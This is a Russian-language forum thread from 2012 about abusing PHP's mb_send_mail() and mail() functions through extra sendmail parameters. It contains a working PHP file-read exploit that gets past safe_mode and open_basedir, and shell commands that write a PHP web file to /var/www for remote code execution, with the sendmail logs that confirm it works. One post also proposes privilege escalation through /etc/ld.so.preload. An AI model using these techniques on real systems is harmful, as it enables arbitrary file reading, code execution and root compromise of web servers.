Старый 10.08.2012, 19:02   #11
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
mb_send_mail() "safe_mode" и "open_basedir"
PHP 5.1.2 PHP 4.x 28.02.2006
http://www.mail-archive.com/bugtraq@securityfocus.com/msg14320.html
http://secunia.com/advisories/18694/
http://www.securitytracker.com/alerts/2006/Feb/1015696.html
PHP код:
<?php
if (isset($_REQUEST['file'])) {
$file = "sendlog";
if (file_exists($file)) unlink($file);
$extra = "-C ".$_REQUEST['file']." -X ".getcwd()."/".$file;
mb_send_mail(NULL, NULL, NULL, NULL, $extra);
echo "<pre>".file_get_contents($file)."</pre>";
}
?>
Функция mb_send_mail и добавочный параметр. В нем передаётся конфиг файл (опция -С) и лог в который функция сбрасывает ошибки (опция -Х).
Получаем чтение файла. Если внимательно смотреть на приведённые линки, то кое где говорится об обходе и "safe_mode" и "open_basedir", а кое-где только "open_basedir".
На php.net я эту багу не нашёл, и реакцию разрабов тоже, так что не понятно когда и как она профикшена.

а тут оказывается вещи и поинтереснее есть (все протестировано на PHP Version 5.3.5-1ubuntu7.10)

http://esec-pentest.sogeti.com/web/using-mail-remote-code-execution

файло читает, а вот так:

Цитата:
$ PHPFROM="<?php CLI; ?>"
$ SUBJECT="<?php SUBJECT; ?>"
$ MESSAGE="<?php phpinfo(); ?>"
$ HEADERS="<?php HEADER; ?>"
$ PARAMS="-f\'${PHPFROM}\' -OQueueDirectory=/tmp -X /var/www/555.php"
$ php -r "mail('a@b.c', '${SUBJECT}', '${MESSAGE}', '${HEADERS}', '${PARAMS}');"
действительно создается файл /var/www/555.php

Цитата:
23457 <<< To: a@b.c
23457 <<< Subject: <?php SUBJECT; ?>
23457 <<< X-PHP-Originating-Script: 1000:Command line code
23457 <<< <?php phpinfo(); ?>
23457 <<<
23457 <<< <?php phpinfo(); ?>
23457 <<< [EOF]
23457 === CONNECT [127.0.0.1]
23457 <<< 220 an ESMTP Sendmail 8.14.4/8.14.4/Debian-2ubuntu1; Fri, 10 Aug 2012 20:01:09 +0400; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
23457 >>> EHLO an
23457 <<< 250-an Hello localhost [127.0.0.1], pleased to meet you
23457 <<< 250-ENHANCEDSTATUSCODES
23457 <<< 250-PIPELINING
23457 <<< 250-EXPN
23457 <<< 250-VERB
23457 <<< 250-8BITMIME
23457 <<< 250-SIZE
23457 <<< 250-DSN
23457 <<< 250-ETRN
23457 <<< 250-AUTH DIGEST-MD5 CRAM-MD5
23457 <<< 250-DELIVERBY
23457 <<< 250 HELP
23457 >>> MAIL From:<\<\?php.CLI\;.\?\>@an> SIZE=127
23457 <<< 250 2.1.0 <\<\?php.CLI\;.\?\>@an>... Sender ok
23457 >>> RCPT To:<a@b.c>
23457 >>> DATA
23457 <<< 250 2.1.5 <a@b.c>... Recipient ok
23457 <<< 354 Enter mail, end with "." on a line by itself
23457 >>> Received: (from an@localhost)
23457 >>> by an (8.14.4/8.14.4/Submit) id q7AG19UV023457;
23457 >>> Fri, 10 Aug 2012 20:01:09 +0400
23457 >>> Date: Fri, 10 Aug 2012 20:01:09 +0400
23457 >>> From: \<\?php.CLI\;.\?\>@an
23457 >>> Message-Id: <201208101601.q7AG19UV023457@an>
23457 >>> X-Authentication-Warning: an: an set sender to \<\?php CLI\; \?\> using -f
23457 >>> X-Authentication-Warning: an: Processed from queue /tmp
23457 >>> To: a@b.c
23457 >>> Subject: <?php SUBJECT; ?>
23457 >>> X-PHP-Originating-Script: 1000:Command line code
23457 >>>
23457 >>> <?php phpinfo(); ?>
23457 >>>
23457 >>> <?php phpinfo(); ?>
23457 >>> .
23457 <<< 250 2.0.0 q7AG19WU023505 Message accepted for delivery
23457 >>> QUIT
23457 <<< 221 2.0.0 an closing connection
и работает phpinfo

PS: чтобы сработало, надо подождать около минуты

Последний раз редактировалось Pashkela; 10.08.2012 в 21:26..
Pashkela вне форума   Ответить с цитированием
Старый 10.08.2012, 21:29   #12
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

правда нарвался на эту багу по другим причинам - если будет такое выполнено от рута, то будет privilege escalation - тот же /etc/ld.so.preload, надо проверять на старых sendmail, которые suid-бит, сбрасывают ли они привелигии перед записью в лог (как вариант)

PS: просто вроде как-то встречал suid-битные sendmail, да и современные sgid-ные
Pashkela вне форума   Ответить с цитированием
Старый 08.08.2019, 12:37   #13
Beched
 
Регистрация: 06.07.2010
Сообщений: 403
Репутация: 118
По умолчанию

Спущено из lvl1
Beched вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot